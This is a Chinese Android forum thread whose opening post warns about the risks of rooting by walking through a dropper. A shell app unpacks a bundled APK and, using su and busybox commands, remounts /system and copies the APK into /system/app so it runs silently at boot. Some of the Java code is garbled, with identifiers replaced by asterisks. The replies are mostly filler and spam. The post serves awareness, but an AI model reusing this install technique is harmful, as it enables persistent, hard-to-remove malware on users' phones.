2026年10月28日 · 今日 0 帖 · 会员 6.1万 · 主题 17.4万
登录 · 注册 · 游客,欢迎随便逛逛
返回版块
JK-0098594
Lv5甘首五朝臣等级图标等级图标
勋章勋章
帖子
21
回复
611
积分
8,130
注册
2012-03-10
[安卓交流]

android手机root后的安全问题 (一)

[复制链接]
查看 609 回复 39
楼主 发表于 | 只看该作者
6 人收藏

前提:你有一部已经root的android手机,并且手机中有busybox和superuser

导读:本文介绍一种简单的病毒以及如何“防御”。

写本博客的原因是:有无数用户觉得root没有什么风险,或者风险不会降临到自己头上。这里告诉大家,其实风险就在身边!

这里讲的内容其实对于大多数开发者都不是什么新鲜的事情了,使用的技术也非常一般和普遍。

虽然大家都知道可以这样这样,但是还是随意下载软件,不加小心,就会掉入陷阱。

有些人觉得,只要我下载软件的时候检查软件所申请的权限就好了,其实没有那么简单。

我们来看看如果一个软件,获得了一次root权限,那么它可以作些什么呢?

好吧,我们先来一次“静默安装”!

原理很简单,基本上相当于把apk push到手机里面,两个选择

data/app

system/app

如果我是病毒软件,我肯定选择push到system/app

我们需要制作两个apk,一个是真正目的的(病毒,real.apk),另一个是假的壳子(fake.apk)

首先先制作real.apk,我们只是用来测试,所以这个apk没有什么实际内容(由于这里无法上传附件,请移步到 http://su1216.iteye.com/blog/1668734 下载real.apk)。

real.apk里有一个receiver,用来监听开机的广播

view plaincopy

android.intent.action.BOOT_COMPLETED

还有一个activity,没有什么实质内容,然后编译出apk,待用。

下面来制作壳子

新建一个android工程,将之前的real.apk复制到assets目录下

然后新建一个activity来测试

这个壳子的很简单,它只负责把真实的应用安装到用户手机中,我们再细分一下,首先,将文件assets/real.apk提取出来,放到自己的私有目录中,在本例子中的目录为data/data/com.example.fake/files,这一步是不需要任何权限的

view plaincopy

prepareButton.setOnClickListener(new View.OnClickListener() {

public void onClick(View v) {

File dataFolder = getFilesDir();

File jar = new File(dataFolder.getAbsolutePath() + “/real.apk“);

copyFile(“real.apk“, jar, mResources);

}

}); 其中copFile函数见附件(就是一个简单的io读写操作),这里只给出伪代码

view plaincopy

InputStream myInput = null;

try

myInput = resources.getAssets().open(filePath);

……

catch

……

finally

……

第一步已经完成了,下一步请求root权限,然后将real.apk恶意安装给用户。

这里需要使用到busybox,命令如下

busybox mount -o remount,rw /system

busybox cp /data/data/com.example.fake/files/real.apk /system/app/real.apk

busybox rm /data/data/com.example.fake/files/real.apk

之所以使用busybox,是因为手机里面可能没有mount、cp、rm等命令(我的手机里面就没有)

当然superuser需要同意你使用root权限

至此,你的入侵行为已经全部完成!

view plaincopy

installButton.setOnClickListener(new View.OnClickListener() {

public void onClick(View v) {

String packageName = getPackageName();

String[] *s = {“busybox mount -o remount,rw /system“,

“busybox cp /data/data/“ + packageName + “/files/real.apk /system/app/real.apk“,

“busybox rm /data/data/“ + packageName + “/files/real.apk“};

Process process = null;

DataOutputStream dataOutputStream = null;

try {

process = Runtime.getRuntime().*(“su“);

dataOutputStream = new DataOutputStream(process.getOutputStream());

int length = *s.length;

for (int i = 0; i < length; i++) {

Log.e(TAG, “*s[“ + i + “]:“ + *s);

dataOutputStream.writeBytes(*s + “\n“);

}

dataOutputStream.writeBytes(“exit\n“);

dataOutputStream.flush();

process.waitFor();

} catch (Exception e) {

Log.e(TAG, “copy fail“, e);

} finally {

try {

if (dataOutputStream != null) {

dataOutputStream.close();

}

process.destroy();

} catch (Exception e) {

}

}

}

});

} 重启手机之后,real.apk就能工作了,它会接收到开机广播

如果你嵌入了更恶劣的代码,比如偷发短信,窃取邮件,那么用户也是很难察觉的

real.apk在settings中会显示在系统应用中,用户不太会怀疑,即使怀疑了,他们也不敢轻易卸载!谁让他们自己随意刷rom呢,每个rom集成的软件都不一样。

如何防御?!

我不知道如何防御,最简单的办法就是,解压你来路不明的apk文件,看看assets文件下有没有什么可疑文件。当然,病毒可能会去掉或者修改文件名的后缀!

我手机中安装了卡巴斯基免费版,很可惜,它没有查出病毒(即使你的real.apk嵌入更恶意的代码)

大家可以试试其他杀毒软件,比如……希望大家能给个反馈结果

请大家不要用root的手机随意下载软件,更不要以任何借口制造任何病毒!

登录回复
JK-0071765
Lv9有为九子能等级图标等级图标等级图标等级图标等级图标等级图标
勋章勋章勋章勋章勋章勋章勋章勋章+11
帖子
6
回复
1.1万
积分
630.7万
注册
2011-09-05
1 楼

安卓我最行!

JK-0092662
Lv4莫问四书意等级图标等级图标
帖子
3
回复
312
积分
1.1万
注册
2012-01-22
2 楼

这帖不错,该顶

JK-0112247
Lv7可吟七步诗等级图标等级图标等级图标等级图标
勋章勋章勋章勋章勋章勋章勋章勋章+2
帖子
1
回复
9,407
积分
9万
注册
2012-06-18
3 楼

这帖不错,该顶

JK-0060373
Lv7可吟七步诗等级图标等级图标等级图标等级图标
勋章勋章勋章勋章勋章勋章勋章勋章
帖子
3
回复
3,031
积分
39.3万
注册
2011-07-09
4 楼

祝安卓论坛越来越好! ///,加入hero空白府家族即得8888币(截止日期5.5日)///拉人入族奖励8888币(家族成员专属,截止日期5.5日)///[backcolor=#FF1600]入族验证信息填上60373 ,入族成功后内信我可以再分给你4444绝币!///心动快快点我资料入族!///

JK-0079843
Lv3畅意三江水等级图标
勋章
帖子
72
回复
303
积分
1.4万
注册
2011-10-23
5 楼

安卓我最行!

JK-0066833
Lv6胸怀六国志等级图标等级图标
勋章勋章
帖子
0
回复
2,204
积分
45.5万
注册
2011-08-02
6 楼

安卓我最行!

JK-0042647
Lv6胸怀六国志等级图标等级图标等级图标
勋章勋章
帖子
4
回复
2,302
积分
17.9万
注册
2011-05-20
8 楼

安卓我最行!

JK-0016034
Lv6胸怀六国志等级图标等级图标等级图标等级图标
勋章
帖子
0
回复
798
积分
285
注册
2011-02-26
9 楼

看帖回帖是美德!

JK-0016034
Lv6胸怀六国志等级图标等级图标等级图标等级图标
勋章
帖子
0
回复
798
积分
285
注册
2011-02-26
10 楼

祝安卓论坛越来越好!

JK-0138703
Lv1韶华一笑间等级图标
帖子
0
回复
131
积分
1,380
注册
2013-07-01
11 楼

看帖回帖是美德!

JK-0093889
Lv1韶华一笑间等级图标
帖子
5
回复
95
积分
1,001
注册
2012-02-03
12 楼

支持你!

JK-0008698
Lv3畅意三江水等级图标等级图标等级图标等级图标等级图标
帖子
4
回复
329
积分
8,543
注册
2011-02-06
13 楼

好帖,要顶!

JK-0008698
Lv3畅意三江水等级图标等级图标等级图标等级图标等级图标
帖子
4
回复
329
积分
8,543
注册
2011-02-06
14 楼

好帖,要顶!将计就计

JK-0114612
Lv2独赏二月雪等级图标
帖子
1
回复
160
积分
2.6万
注册
2012-07-06
15 楼

支持你!

JK-0124646
Lv1韶华一笑间等级图标
帖子
0
回复
47
积分
813
注册
2012-10-09
16 楼

我我想问一下

JK-0141536
Lv1韶华一笑间等级图标
帖子
0
回复
87
积分
1,655
注册
2013-08-15
17 楼

拜拜

JK-0139897
Lv1韶华一笑间等级图标
帖子
0
回复
31
积分
441
注册
2013-07-19
18 楼

不鸟你 那你

JK-0014046
Lv4莫问四书意等级图标等级图标等级图标等级图标等级图标
帖子
1
回复
925
积分
1.8万
注册
2011-02-15
19 楼

刚换取权限,看看

JK-0140721
Lv1韶华一笑间等级图标
帖子
0
回复
112
积分
1,550
注册
2013-08-02
20 楼

hgfgydg

登录后可以回复这个帖子。旧账号可使用原密码登录。

登录 注册新号
← 返回版块